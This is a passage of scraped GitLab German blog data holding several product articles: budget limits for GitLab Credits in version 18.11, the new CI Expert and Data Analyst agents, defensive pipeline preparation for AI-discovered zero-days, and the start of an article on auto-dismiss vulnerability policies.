ganze Sprints beansprucht haben. Mit wachsender Nutzung steigt jedoch der Bedarf an Kostentransparenz – seitens Finance, Procurement und Platform-Teams, die belegen müssen, dass KI-Ausgaben begrenzt, planbar und steuerbar sind.\n\nEine wesentliche Hürde bei der breiteren KI-Einführung ist nicht Skepsis gegenüber der Technologie. Es ist die Unsicherheit bei der Kostenkontrolle. Ohne Ausgabeobergrenzen kann ein arbeitsintensiver Monat zu unerwarteten Kosten führen. Ohne Nutzerlimits können wenige Intensivnutzende das Credit-Kontingent des gesamten Teams aufbrauchen, bevor der Monat endet. Und ohne beides müssen Engineering-Verantwortliche, die Agentic AI weiter ausrollen wollen, aufwändigere Budgetgenehmigungsprozesse durchlaufen.\n\nSeit der [allgemeinen Verfügbarkeit](https://about.gitlab.com/blog/gitlab-duo-agent-platform-is-generally-available/) bietet GitLab Duo Agent Platform bereits Nutzungs-Governance und Transparenz. Mit GitLab 18.11 kommen Verbrauchssteuerung für [GitLab Credits](https://about.gitlab.com/blog/introducing-gitlab-credits/) hinzu: Ausgabeobergrenzen und Budgetlimits, die Organisationen noch mehr Kontrolle und Transparenz über den Credit-Verbrauch geben.\n\n\n## GitLab Credits steuern\n\nGitLab 18.11 führt drei Steuerungsebenen für den GitLab-Credits-Verbrauch ein: eine Ausgabenobergrenze auf Abonnementebene, Nutzerlimits auf individueller Ebene sowie Einblick in den Status und die Durchsetzung beider Limits.\n\n\n### Ausgabenobergrenze auf Abonnementebene\n\nBilling Account Manager können ab sofort eine monatliche Höchstgrenze für den Verbrauch von On-Demand GitLab Credits des gesamten Abonnements festlegen.\n\nFunktionsweise:\n\n* **Limit festlegen** im `Customers Portal` unter den GitLab-Credits-Einstellungen des Abonnements.\n* **Ausgaben automatisch begrenzen.** Erreicht der On-Demand-Verbrauch die Obergrenze, wird der DAP-Zugriff für alle Nutzenden des Abonnements pausiert – bis die nächste monatliche Periode beginnt.\n* **Anpassungen jederzeit möglich.** Das Limit lässt sich innerhalb des Monats anheben oder deaktivieren, um den Zugriff wiederherzustellen.\n\nDas Limit wird monatlich zurückgesetzt; die konfigurierte Grenze gilt so lange, bis sie geändert wird. Da Nutzungsdaten in Intervallen synchronisiert werden – nicht in Echtzeit –, kann nach Erreichen der Obergrenze eine geringe Mehrmenge anfallen, bevor die Durchsetzung greift. Details dazu finden sich in der [GitLab-Credits-Dokumentation](https://docs.gitlab.com/subscriptions/gitlab_credits/).\n\n\n### Nutzerlimits auf individueller Ebene\n\nNicht alle Nutzenden verbrauchen Credits im gleichen Tempo – das ist erwartbar. Problematisch wird es, wenn ein oder zwei Intensivnutzende einen unverhältnismäßig großen Anteil des Kontingents beanspruchen und der Rest des Teams vor Monatsende keinen Zugriff mehr hat.\n\nIndividuelle Nutzerlimits verhindern, dass einzelne Nutzende mehr als ihren fairen Anteil verbrauchen:\n\n* **Einheitliches Nutzerlimit.** Ein gleiches Credit-Limit für alle Nutzenden des Abonnements lässt sich über die GitLab GraphQL API setzen. Anders als die Abonnementobergrenze gilt dieses Limit für den Gesamtverbrauch einer Person über alle Credit-Quellen hinweg.\n* **Individuelle Ausnahmen.** Für differenzierte Limits können über die GraphQL API individuelle Credit-Obergrenzen für bestimmte Nutzende gesetzt werden. So lässt sich beispielsweise Staff Engineers ein höheres Kontingent einräumen, während für das breitere Team ein Standardlimit gilt.\n* **Individuelle Durchsetzung.** Erreicht eine Person ihr Limit, behält sie vollen Zugriff auf GitLab. Lediglich die Duo-Agent-Platform-Nutzung via Credits wird bis zum nächsten Abrechnungszeitraum pausiert. Alle anderen arbeiten unterbrechungsfrei weiter – bis sie ihr eigenes Limit oder die Abonnementobergrenze erreichen, je nachdem, was zuerst eintritt.\n\n\n### Sichtbarkeit und Benachrichtigungen\n\nWird die Abonnementobergrenze erreicht, sendet GitLab eine E-Mail-Benachrichtigung an Billing Account Manager, damit diese reagieren können: das Limit anheben, die nächste Periode abwarten oder Credits umverteilen.\n\nInnerhalb von GitLab können Group Owner (GitLab.com) und Instanz-Administratoren (Self-Managed) einsehen, welche Nutzenden aufgrund ihres individuellen Limits gesperrt wurden, und den Zugriff durch Anpassung der Grenze über die GraphQL API wiederherstellen.\n\n\n## Warum Budgetlimits die KI-Skalierung ermöglichen\n\nKlare Steuerungsmechanismen sind entscheidend, wenn Organisationen ihre KI-Nutzung ausweiten. Drei Gründe:\n\n\n### Planbare KI-Budgets\n\nVerbrauchssteuerung für GitLab Duo Agent Platform macht KI-Ausgaben zu einer planbaren, begrenzten Budgetposition auf Basis von On-Demand GitLab Credits. Das erleichtert sowohl die Budgetfreigabe durch Finance als auch die Planung der quartalsweisen Ausgaben.\n\n\n### Governance und interne Kostenverrechnung\n\nGroße Organisationen müssen KI-Ausgaben häufig internen Budgets, Kostenstellen oder Abteilungsrichtlinien zuordnen. Individuelle Nutzerlimits geben Platform-Teams einen unkomplizierten Mechanismus, Credits fair zuzuweisen und den Verbrauch auf Personenebene nachzuverfolgen. Die API-Konfiguration macht dies auch im Enterprise-Maßstab handhabbar. In Kombination mit den personenbezogenen Verbrauchsdaten aus dem GitLab-Credits-Dashboard lassen sich Verbrauchsmuster nachverfolgen – als Grundlage für interne Kostenverrechnungs- oder Budgetzuweisungsprozesse.\n\n\n### Sicherheit beim Skalieren\n\nViele Kunden starten GitLab Duo Agent Platform zunächst mit einer kleinen Pilotgruppe. Verbrauchssteuerung beseitigt die Risiken, die mit einer Ausweitung auf die gesamte Organisation verbunden sind. Duo Agent Platform lässt sich auf Hunderte oder Tausende von Entwicklungsteams ausrollen – mit der Gewissheit, dass eine harte Ausgabenobergrenze das Budget schützt. Wächst die Nutzung schneller als erwartet, greift das Limit – nicht eine unerwartete Rechnung.\n\n\n## Sitzplatzbasiert vs. verbrauchsbasiert\n\nViele KI-Coding-Tools setzen auf ein sitzplatzbasiertes Preismodell. Eine feste Anzahl von Lizenzen wird zu einem einheitlichen Preis pro Nutzenden erworben. Einfach, aber unflexibel: Der Preis ist derselbe, unabhängig davon, ob jemand das Tool zehnmal täglich nutzt oder gar nicht. Wenn Anbieter zudem Premium-Modelle und verbrauchsabhängige Zusatzkosten auf die Lizenzgebühr aufschlagen, erodiert die Kostentransparenz, die das Lizenzmodell ursprünglich versprochen hat.\n\nGitLab verfolgt einen anderen Ansatz: verbrauchsbasierte Abrechnung mit harten Limits und einem zentralen Governance-Dashboard. Das verbindet die Flexibilität, nur für tatsächliche Nutzung zu zahlen, mit der Budgetplanbarkeit durchgesetzter Ausgabengrenzen.\n\n\n## Anwendungsbeispiele\n\n\n**Beispiel 1: Mittelgroßes SaaS-Unternehmen mit 200 Entwicklungspersonen.** Die Organisation setzt eine Abonnementobergrenze in Höhe des erwarteten On-Demand-Verbrauchs. Die VP of Engineering kann Finance gegenüber zuverlässig zusichern, dass die Duo-Agent-Platform-Ausgaben den genehmigten Betrag nicht überschreiten werden – auch während des Onboardings neuer Teams. Nähert sich die Grenze in der Monatsmitte, erhält der Billing Account Manager eine Benachrichtigung und kann entscheiden: Limit anheben oder die nächste Periode abwarten.\n\n**Beispiel 2: Globales Finanzdienstleistungsunternehmen mit 2.000 Entwicklungspersonen.** Das Unternehmen setzt individuelle Nutzerlimits, um einen fairen Zugang sicherzustellen. Staff Engineers, die an komplexen Refactoring-Projekten arbeiten, erhalten über die API ein höheres individuelles Kontingent; die meisten Entwicklungsteams erhalten ein Standard-Pauschalimit. Einzelne Nutzende können das Gesamtkontingent nicht erschöpfen. Das Platform-Team nutzt die personenbezogenen Verbrauchsdaten im GitLab-Credits-Dashboard für die Nachverfolgung von Verbrauchsmustern und die quartalsweise Budgetplanung.\n\n\n## Erste Schritte\n\nVerbrauchssteuerung ist für GitLab.com- und Self-Managed-Kunden ab GitLab 18.11 verfügbar. Die Konfiguration erfolgt je nach Geltungsbereich und Rolle an unterschiedlichen Stellen.\n\n**Abonnementobergrenze**\n\nBilling Account Manager setzen die Abonnementobergrenze im Customers Portal:\n\n1. Im `Customers Portal` anmelden.\n2. Auf der Abonnementkarte zu den **GitLab Credits**-Einstellungen navigieren.\n3. Die monatliche On-Demand-Credits-Obergrenze aktivieren und den gewünschten Wert eingeben.\n\n**Einheitliches Nutzerlimit**\n\nDas einheitliche Nutzerlimit wird über die GitLab GraphQL API durch Namespace Owner (GitLab.com) oder Instanz-Administratoren (Self-Managed) gesetzt. Details zu verfügbaren Konfigurationsoberflächen finden sich in der [GitLab-Credits-Dokumentation](https://docs.gitlab.com/subscriptions/gitlab_credits/).\n\n**Individuelle Ausnahmen**\n\nFür differenzierte Limits können Namespace Owner (GitLab.com) und Instanz-Administratoren (Self-Managed) individuelle Obergrenzen programmatisch setzen – geeignet für Automatisierungs- und Infrastructure-as-Code-Workflows.\n\n**Verbrauch und Status überwachen**\n\n* **Customers Portal:** Detaillierter Verbrauch und Limitstatus einsehbar.\n* **GitLab.com:** Group Owner können gesperrte Nutzende unter **Einstellungen > GitLab Credits** einsehen.\n* **Self-Managed:** Instanz-Administratoren können Limitstatus und gesperrte Nutzende unter **Admin > GitLab Credits** einsehen.\n\n\n## GitLab Duo Agent Platform – bereit für die Skalierung\n\nVerbrauchssteuerung ist ab sofort in GitLab 18.11 verfügbar. Ausgabelimits setzen, Duo Agent Platform auf weitere Teams ausrollen – und die KI-Ausgaben dabei vollständig im Griff behalten.\n\n> [Mehr über GitLab Credits und Verbrauchssteuerung erfahren](https://docs.gitlab.com/subscriptions/gitlab_credits/).\n",[786,846,761],{"featured":687,"template":836,"slug":1169},"gitlab-18-11-budget-guardrails-for-gitlab-credits",{"content":1171,"config":1178},{"title":1172,"description":1173,"authors":1174,"heroImage":1164,"date":1165,"body":1176,"category":786,"tags":1177},"GitLab 18.11: KI-Agenten CI Expert und Data Analyst schließen Entwicklungslücken","Mit GitLab 18.11 stehen zwei neue Agenten bereit – CI Expert für automatisiertes Pipeline-Setup und Data Analyst für direkte SDLC-Datenabfragen.",[1175],"Corinne Dent","KI generiert Code schneller, als die Systeme drum herum mithalten können. Mehr Code bedeutet mehr Merge Requests in der Warteschlange, mehr Pipelines, die konfiguriert werden müssen, mehr Fragen zur Delivery, für die niemand Zeit hat – und die meisten Tools, auf die Teams sich stützen, wurden nicht für dieses Tempo entwickelt.\n\nIn GitLab 18.11 adressieren zwei neue Foundational Agents der Duo Agent Platform konkrete Lücken im Entwicklungszyklus, die KI bislang weitgehend unberührt gelassen hat:\n\n* **CI Expert Agent (jetzt in Beta)** schließt die Lücke zwischen dem Schreiben von Code und einer laufenden Pipeline\n* **Data Analyst Agent (jetzt allgemein verfügbar)** schließt die Lücke zwischen dem Ausliefern von Code und der Fähigkeit, grundlegende Fragen zur tatsächlichen Delivery zu beantworten\n\nDiese Problembereiche lassen sich nicht mit einem allgemeinen Assistenten lösen. Ein Tool außerhalb von GitLab kann eine YAML-Datei generieren oder eine Frage beantworten – es hat jedoch keine Kenntnis davon, wie Pipelines historisch performt haben, wo Fehler gehäuft auftreten oder wie die tatsächlichen MR-Durchlaufzeiten aussehen. Dieser Kontext liegt in GitLab. Diese Agenten auch.\n\n\n## Schnelles CI-Setup mit CI Expert Agent\n\nKI beschleunigt das Schreiben von Code erheblich. Den Code in eine laufende Pipeline zu bringen ist etwas, das die meisten Teams Tage oder Wochen später erledigen – wenn überhaupt. Das Blank-Page-Problem liegt nicht mehr im Editor. Es liegt jetzt in der `.gitlab-ci.yml`.\n\nEntwicklungsteams, die CI noch nie konfiguriert haben, wissen nicht, wie Language Detection in YAML aussieht, welche Test-Befehle verwendet werden sollten oder wie das Ergebnis vor dem Push validiert wird. Teams kopieren entweder eine Konfiguration aus einem früheren Projekt, die möglicherweise nicht passt, fügen Beispiele aus der Dokumentation zusammen oder warten auf die eine Person, die es schon einmal gemacht hat. Ist diese Person nicht verfügbar, wird CI zu etwas, das man \"später erledigt\". Aus \"später\" wird \"nie\".\n\nWenn CI dauerhaft ausbleibt, zeigen sich die Folgen im gesamten Entwicklungsprozess: Änderungen werden ohne automatisierte Absicherung ausgeliefert, Regressionen tauchen in der Produktion statt in der Pipeline auf, und Arbeit häuft sich in größeren, riskanteren Batches an. Teams gewöhnen sich mit der Zeit daran, ohne strukturierte Rückkopplung zu arbeiten – auf undokumentiertes Erfahrungswissen angewiesen statt auf einen reproduzierbaren Feedback-Mechanismus, der in jeden Commit integriert ist.\n\nCI Expert Agent, jetzt in Beta verfügbar, beseitigt diese Hürde systematisch. Der Agent analysiert das Repository, erkennt Sprache und Framework und schlägt eine funktionsfähige Build- und Test-Pipeline vor, die auf dem tatsächlichen Repository-Inhalt basiert – mit einer Erklärung jeder Entscheidung in verständlicher Sprache. Das Ziel: eine laufende Pipeline, ohne YAML manuell schreiben zu müssen.\n\nFunktionsumfang von CI Expert Agent:\n\n* Repository-bewusste Pipeline-Generierung erkennt Sprache, Framework und Test-Setup\n* Generiert valide, ausführbare Build- und Test-Konfigurationen\n* Geführter Erstkonfigurations-Ablauf mit verständlicher Erklärung jedes Schritts im Agentic Chat\n* Native GitLab-CI-Semantik ohne Konfigurations-Übersetzung\n\nDa der Agent innerhalb von GitLab läuft und das tatsächliche Pipeline-Verhalten über Zeit beobachtet, kann jede Verbesserung auf der Arbeitsweise der Teams aufbauen – nicht nur auf statischen Beispielen.\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1183458036?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"CI/CD Expert Agent\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\u003Cbr>\u003C/br>\n\nCI Expert Agent ist verfügbar auf GitLab.com, Self-Managed und Dedicated in den Editionen Free, Premium und Ultimate – mit aktivierter Duo Agent Platform.\n\n\n## SDLC-Daten in natürlicher Sprache abfragen mit Data Analyst Agent\n\nKI hat das Tempo der Code-Auslieferung erhöht. Grundlegende Fragen dazu, wie diese Arbeit verläuft, sind dadurch nicht einfacher zu beantworten – im Gegenteil.\n\nWie lange liegen MRs im Review? Welche Pipelines bremsen Teams aus? Werden Deployment-Ziele tatsächlich erreicht? Diese Fragen ließen sich früher mit einem Blick auf ein Dashboard beantworten. Mit mehr Code, mehr Teams und mehr Komplexität sind die Daten zwar vorhanden – sie liegen in GitLab – der Zugriff erfordert jedoch nach wie vor das Warten auf ein Analytics-Team, eine Dashboard-Anfrage oder die Einarbeitung in GLQL.\n\nData Analyst Agent schließt diese Lücke. Eine Frage in natürlicher Sprache stellen – und eine sofortige Visualisierung im Agentic Chat erhalten. Keine Abfragesprache, keine Dashboard-Anfrage, kein Warten.\n\nDer Agent beantwortet beispielsweise folgende Fragen – je nach Rolle:\n\n* **Engineering Manager:** MR-Durchlaufzeiten, Durchsatz nach Projekt, wo Reviews stocken\n* **Entwicklungsteams:** Beitragsmuster, instabile Tests, die MRs blockieren, Pipeline-Geschwindigkeit\n* **DevOps- und Plattform-Teams:** Pipeline-Erfolgs- und Fehlerquoten, Runner-Auslastung, Deployment-Frequenz\n* **Engineering Leadership:** Deployment-Frequenz über Portfolios hinweg, Projektgesundheitsmetriken, Lead-Time-Vergleiche\n\nMit der allgemeinen Verfügbarkeit in GitLab 18.11 deckt der Agent MRs, Issues, Projekte, Pipelines und Jobs ab – vollständige SDLC-Abdeckung, erweitert gegenüber dem Beta-Umfang. Da Data Analyst Agent direkt auf vorhandene GitLab-Daten zugreift, ist der Kontext stets aktuell – ohne eine separate Datenpipeline pflegen oder ein Drittanbieter-Tool synchron halten zu müssen. Generierte GitLab Query Language-Abfragen lassen sich überall dort kopieren und verwenden, wo GitLab Flavored Markdown unterstützt wird; ein direkter Export zu Work Items und Dashboards ist in Planung.\n\n\u003Ciframe src=\"https://player.vimeo.com/video/1183094817?badge=0&autopause=0&player_id=0&app_id=58479\" frameborder=\"0\" allow=\"autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share\" referrerpolicy=\"strict-origin-when-cross-origin\" style=\"position:absolute;top:0;left:0;width:100%;height:100%;\" title=\"Data Analyst agent demo\">\u003C/iframe>\u003Cscript src=\"https://player.vimeo.com/api/player.js\">\u003C/script>\n\n\u003Cbr>\u003C/br>\n\nData Analyst Agent ist verfügbar auf GitLab.com, Self-Managed und Dedicated in den Editionen Free, Premium und Ultimate – mit aktivierter Duo Agent Platform.\n\n\n## Eine Plattform, verbundener Kontext\n\nBeide Agenten laufen innerhalb von GitLab und haben Zugriff auf den Code, die Pipelines, Issues und Merge Requests, die dort bereits vorhanden sind. Das unterscheidet plattformnative KI von einem externen Assistenten: Der Kontext ist stets aktuell und wächst mit der Nutzung. CI Expert Agent und Data Analyst Agent sind zwei konkrete Erweiterungen einer Plattform, auf der KI den gesamten Entwicklungszyklus unterstützt – von der Pipeline-Konfiguration über die Auslieferung bis zur Nachverfolgung.\n\n> [GitLab Duo Agent Platform kostenlos testen](https://about.gitlab.com/gitlab-duo/) und diese KI-Agenten direkt im Entwicklungs-Workflow einsetzen.\n",[846,828,786],{"featured":13,"template":836,"slug":1179},"ci-expert-and-data-analyst-ai-agents-target-development-gaps",{"category":105,"slug":798,"posts":1181},[1182,1193,1205],{"content":1183,"config":1191},{"title":1184,"description":1185,"authors":1186,"heroImage":1188,"date":877,"body":1189,"category":798,"tags":1190},"KI entdeckt Zero-Days schneller, als Teams reagieren können: So bereitet man die Pipeline vor","KI findet Schwachstellen schneller als Teams sie schließen können. Wie Pipeline-Enforcement, Triage-Automatisierung und KI-Remediation die Lücke schließen.",[1187],"Omer Azaria","https://res.cloudinary.com/about-gitlab-com/image/upload/v1772195014/ooezwusxjl1f7ijfmbvj.png","Anthropics [Mythos-Preview-Modell](https://red.anthropic.com/2026/mythos-preview/)\nhat kürzlich Tausende von Zero-Day-Schwachstellen in allen wichtigen\nBetriebssystemen und Webbrowsern identifiziert – darunter ein OpenBSD-Fehler,\nder 27 Jahre lang unentdeckt blieb. In Tests verknüpfte Mythos autonom vier\nSchwachstellen zu einem funktionierenden Browser-Exploit, der seine Sandbox\nverließ. Anthropic schränkt den Zugang zu Mythos ein, doch der Leiter der\noffensiven Cyber-Forschung des Unternehmens erwartet, dass vergleichbare\nWerkzeuge innerhalb von sechs bis zwölf Monaten in Angreiferhänden sein werden.\n\nDie Verteidigungsseite hat nicht Schritt gehalten. Ein Drittel der ausgenutzten\nCVEs im ersten Halbjahr 2025 zeigte Aktivität vor oder am Tag der Offenlegung\n– bevor die meisten Teams überhaupt wissen, dass es etwas zu patchen gibt. KI\nkomprimiert dieses Fenster weiter, beschleunigt Angreifer und überschwemmt\nTeams mit Whitehat-Meldungen schneller, als sie triagiert werden können.\nDefender-Werkzeuge haben sich verbessert, doch die meisten Unternehmen können\nsie nicht schnell genug operationalisieren, um die Lücke zwischen Entdeckung\nund Ausnutzung zu schließen.\n\nWenn das Fenster zwischen Offenlegung und Ausnutzung in Stunden gemessen wird,\nkann das Sicherheitsteam nicht die letzte Verteidigungslinie sein. Sicherheit\nmuss dort greifen, wo Code in das System eintritt: in der Pipeline, bei jedem\nMerge Request, durch Richtlinien durchgesetzt. Was automatisiert werden kann,\nsollte automatisiert werden. Was es nicht kann, muss schneller als heute den\nrichtigen Menschen erreichen.\n\n\n## Bekannte Schwachstellen übersteigen bereits die Remediation-Kapazitäten\n\nDer Engpass ist nicht die Erkennung – sondern das Handeln im erforderlichen\nUmfang auf Basis bereits bekannter Informationen. 60 % der\nSicherheitsverletzungen im Verizon DBIR 2025 betrafen die Ausnutzung bekannter\nSchwachstellen, für die bereits ein Patch verfügbar war. Teams konnten sie\nnicht rechtzeitig schließen.\n\nDer Rückstand war bereits vor Mythos untragbar. Entwicklungsteams verbringen\n[11 Stunden pro Monat mit der Behebung von Schwachstellen](https://about.gitlab.com/resources/developer-survey/)\nnach dem Release – statt neue Funktionen zu liefern. Über die Hälfte der\nUnternehmen hat mindestens eine internetexponierte Schwachstelle offen, und der\nmediane Zeitraum zur Schließung der Hälfte dieser Schwachstellen beträgt\n361 Tage. Ausnutzung dauert Stunden, Remediation dauert Monate.\n\nKI-gestützte Entwicklung vergrößert die Lücke – und Verantwortliche sind sich\ndessen bewusst. Bis Juni 2025 fügte KI-generierter Code über 10.000 neue\nSecurity-Findings pro Monat in Fortune-50-Repositories hinzu – ein zehnfacher\nAnstieg gegenüber sechs Monaten zuvor. Georgia Tech identifizierte im März 2026\n34 [CVEs mit nachweisbarem KI-Ursprung](https://research.gatech.edu/bad-vibes-ai-generated-code-vulnerable-researchers-warn),\ngegenüber 6 im Januar. Diese Zahl erfasst nur die Fälle, in denen die\nKI-Urheberschaft eindeutig nachweisbar ist. KI-Coding-Assistenten halluzinieren\nPaketnamen, greifen auf veraltete Muster zurück und kopieren unsichere Beispiele\naus Trainingsdaten. Mehr Code, mehr Abhängigkeiten und mehr Schwachstellen pro\nZeile werden schneller erzeugt, als Sicherheitsteams sie prüfen können.\n\nVerteidiger müssen sich ebenfalls frontier KI-Modelle zunutze machen – nicht\nals externe Werkzeuge, die nachträglich an den SDLC angedockt werden, sondern\nals integrale Bestandteile derselben Richtlinien, Freigaben und Audit-Trails\nwie der Rest des Teams.\n\n\n## Sicherheit im Tempo von KI-gestützter Entwicklung\n\nWenn eine kritische CVE bekannt wird: Wie schnell kann das Team bestätigen,\nwelche Projekte betroffen sind? Wie viele Werkzeugwechsel durchläuft ein Alert,\nbevor ein Entwickler mit der Behebung beginnen kann?\n\nTeams, die am meisten von KI profitieren, haben Richtlinien,\nDurchsetzungsmechanismen und Kontrollen bereits in ihre Entwicklungs-Workflows\neingebettet. KI verstärkt dieses Fundament. Sie ersetzt es nicht.\n\n**Durchsetzung am Punkt der Änderung.** Wenn Ausnutzungsfenster schrumpfen,\nmuss jede Codezeile, die in ein Repository eingeht, einen definierten\nKontrollsatz durchlaufen – keine separate Prüfung, in einem anderen Werkzeug,\ndurch ein anderes Team. Unternehmen benötigen die Möglichkeit,\nSicherheitsrichtlinien über alle Gruppen und Projekte hinweg durchzusetzen, mit\ndem Merge Request als Durchsetzungspunkt. Richtlinien einmal definiert, überall\nangewendet, Ausnahmen geprüft, genehmigt und protokolliert.\n\n**Einfache Probleme vor dem Merge Request abfangen.** Hardcodierte Secrets,\nbekannt-vulnerable Importe und veraltete API-Aufrufe können in der IDE markiert\nwerden, bevor ein Commit gepusht wird. Das Abfangen zum Zeitpunkt der\nErstellung bedeutet weniger Findings, die den MR blockieren – so dass\nReview-Zyklen für Findings reserviert bleiben, die komponentenübergreifenden\nKontext erfordern: Erreichbarkeit, Ausnutzbarkeit und architektonisches Risiko.\n\n**Triage standardmäßig automatisiert.** Sicherheit in jeden Merge Request\neinzubetten erzeugt ein Volumenproblem. Mehr Scans, mehr Findings, mehr Lärm\nerreicht Entwicklungsteams, die nicht geschult sind, eine erreichbare kritische\nSchwachstelle von einer theoretischen zu unterscheiden. KI muss\nFalse-Positive-Erkennung, Erreichbarkeit, Ausnutzbarkeitskontext und\nSchweregradbewertung übernehmen, bevor ein Entwickler das Finding sieht –\ndamit die Findings, die ihn erreichen, tatsächlich seine Zeit rechtfertigen.\n\n**Remediation wie jede andere Änderung verwaltet.** KI-gestützte Remediation\nkomprimiert den Zeitrahmen zum Schließen von Schwachstellen, aber jeder\ngenerierte Fix muss denselben Governance-Prozess durchlaufen wie eine\nmenschlich erstellte Änderung: Richtlinien erzwingen Scans, die richtigen\nPrüfer genehmigen, und Nachweise werden aufgezeichnet. GitLabs automatisierte\nRemediation schlägt jeden Fix in einem Merge Request mit einem Konfidenzwert\nvor. Der MR dokumentiert, welche Richtlinie angewendet wurde, welche Scans\ndurchgeführt wurden, was sie gefunden haben und wer genehmigt hat. Menschlich\nerstellter Code und KI-generierter Code durchlaufen denselben Prozess – mit\ndemselben Audit-Trail.\n\n\n## So sieht eine vorbereitete Pipeline aus\n\nEin Proof-of-Concept-Exploit für eine Schwachstelle in einem verbreiteten\nOpen-Source-Paket erscheint auf einer Security-Mailingliste. Es gibt noch keine\nCVE, keinen NVD-Eintrag und keine Scanner-Signatur. Das Sicherheitsteam erfährt\nes auf dem üblichen Weg: jemand teilt es in Slack.\n\nEin Security-Engineer fragt den Security-Agenten, ob das Paket verwendet wird,\nwelche Projekte betroffene Versionen haben und ob verwundbare Call-Pfade in der\nProduktion erreichbar sind. Der Agent prüft den Dependency-Graphen jedes\nProjekts, gleicht die betroffenen Versionen und Einstiegspunkte aus der Meldung\nab und gibt eine priorisierte Liste exponierter Projekte mit Details zur\nErreichbarkeit zurück. Eine manuelle Suche in Repositories oder das Warten auf\nein Scanner-Update entfällt. Die Frage „Sind wir betroffen?\" ist in Minuten\nbeantwortet.\n\nDer Engineer startet eine Remediation-Kampagne für alle exponierten Projekte.\nDer Remediation-Agent schlägt Fixes vor: Versions-Updates, wo ein gepatchtes\nRelease verfügbar ist, und Patches für verwundbare Call-Pfade, wo es keines\ngibt. Scan-Execution-Policies sind bereits für Projekte mit\nISO-27001-Zertifizierung aktiv. Der Engineer verschärft die Regeln, um Merges\nbei jedem Merge Request zu blockieren, der die betroffene Abhängigkeit einführt\noder beibehält. Eine Approval-Policy erfordert nun Security-Freigabe für jeden\nFix. Der erste vorgeschlagene Patch schlägt in der Pipeline fehl, weil ein\nIntegrationstest eine Regression aufdeckt. Der Agent überarbeitet den Patch auf\nBasis des Testergebnisses, der zweite Versuch besteht. Das Entwicklungsteam\nprüft die Änderungen, Security gibt unter der verschärften Richtlinie frei, und\nMerges erfolgen über die gesamte Kampagne hinweg.\n\nBeim nächsten Audit-Review legt das Sicherheitsteam einen Bericht vor, der\nzeigt, wie Richtlinien durchgesetzt und Risiken während der Kampagne reduziert\nwurden. Er enthält Scan-Ergebnisse, angewendete Richtlinien, Genehmiger und\nMerge-Zeitstempel für jeden MR in jedem betroffenen Projekt. Die Nachweise\nwurden automatisch während des Prozesses erzeugt – nicht im Nachhinein\nzusammengestellt.\n\n\n## Handlungsfelder jetzt identifizieren\n\nMythos existiert heute, und vergleichbare Modelle werden innerhalb eines Jahres\nin Angreiferhänden sein. Jeder Monat bis dahin ist eine Gelegenheit, die\nSoftware-Lieferkette zu stärken.\n\nDiese Fragen zeigen, wo die Pipeline steht:\n\n* Wie wird sichergestellt, dass Sicherheitsscans bei jedem Merge Request\n  durchgeführt werden – nicht nur in Projekten, in denen Teams sie konfiguriert\n  haben?\n\n* Wenn ein kompromittiertes Paket heute in den Dependency-Tree eingeht –\n  würde die Pipeline es vor dem Build abfangen?\n\n* Wenn ein Scanner ein kritisches Finding meldet: Wie viele Werkzeugwechsel\n  durchläuft es, bevor ein Entwickler mit der Behebung beginnt?\n\n* Wenn ein KI-Agent einen Code-Fix für eine Schwachstelle vorschlägt – welchen\n  Prozess durchläuft dieser Fix vor dem Erreichen der Produktion, und ist dieser\n  Prozess auditierbar?\n\n* Wenn Auditoren den Nachweis verlangen, dass eine bestimmte Richtlinie auf\n  eine bestimmte Änderung angewendet wurde – wie lange dauert die Bereitstellung?\n\nWo diese Fragen Lücken aufzeigen, empfiehlt sich gezielte Maßnahmen.\n[Mit einem GitLab Solutions Architect sprechen](https://about.gitlab.com/de-de/sales/)\n– zur Rolle von Security-Governance im Entwicklungs-Lifecycle.\n",[846,798,863],{"featured":13,"template":836,"slug":1192},"prepare-your-pipeline-for-ai-discovered-zero-days",{"content":1194,"config":1203},{"title":1195,"description":1196,"authors":1197,"heroImage":1199,"date":1200,"category":798,"tags":1201,"body":1202},"Schwachstellen-Rauschen mit Auto-Dismiss-Richtlinien gezielt reduzieren","Scanner-Rauschen reduzieren und relevante Schwachstellen priorisieren – mit Auto-Dismiss-Richtlinien in GitLab, mit Anwendungsfällen und Konfigurationen.",[1198],"Grant Hickman","https://res.cloudinary.com/about-gitlab-com/image/upload/v1774375772/kpaaaiqhokevxxeoxvu0.png","2026-03-25",[798,905,548,828,786],"Security-Scanner sind unverzichtbar – doch nicht jeder Fund erfordert eine Reaktion. Testcode, eingebettete Abhängigkeiten, generierte Dateien und bekannte False Positives erzeugen Rauschen, das die tatsächlich relevanten Schwachstellen überlagert. Durch das manuelle Schließen immer gleicher, irrelevanter Findings über Projekte und Pipelines hinweg entsteht repetitiver Aufwand im Security-Team. Die Folge: langsameres Triage, Alert-Fatigue und Reibung mit Entwicklungsteams – bis hin zu sinkender Akzeptanz des Security-Scannings selbst.\n\nMit den Auto-Dismiss-Richtlinien für Schwachstellen lassen sich Triage-Entscheidungen einmalig in Richtlinien festlegen und automatisch auf jede Pipeline des Standard-Branches anwenden. Kriterien werden anhand von Dateipfad, Verzeichnis oder Schwachstellen-Kennung (CVE, CWE) definiert, ein Abweisungsgrund festgelegt – und GitLab übernimmt den Rest.\n\n## Warum Auto-Dismiss?\n\nAuto-Dismiss-Richtlinien ermöglichen Security-Teams:\n\n- **Triage-Aufwand reduzieren**: Findings in Testcode, eingebetteten Abhängigkeiten und generierten Dateien werden automatisch abgewiesen.\n- **Entscheidungen organisationsweit durchsetzen**: Bekannte False Positives lassen sich zentral über die gesamte Organisation hinweg abweisen.\n- **Prüfnachweise sicherstellen**: Jeder automatisch abgewiesene Fund enthält einen dokumentierten Abweisungsgrund mit Verweis auf die auslösende Richtlinie.\n- **Datenbasis erhalten**: Im Gegensatz zu Scanner-Ausschlüssen verbleiben abgewiesene Schwachstellen im Report – Entscheidungen lassen sich bei veränderten Bedingungen jederzeit überprüfen.\n\n## So funktionieren Auto-Dismiss-Richtlinien\n\n1. **Richtlinie definieren**: In einer YAML-Richtliniendatei Abgleichkriterien (Dateipfad, Verzeichnis oder Kennung) und einen Abweisungsgrund festlegen.\n\n2. **Zusammenführen und aktivieren**: Richtlinie 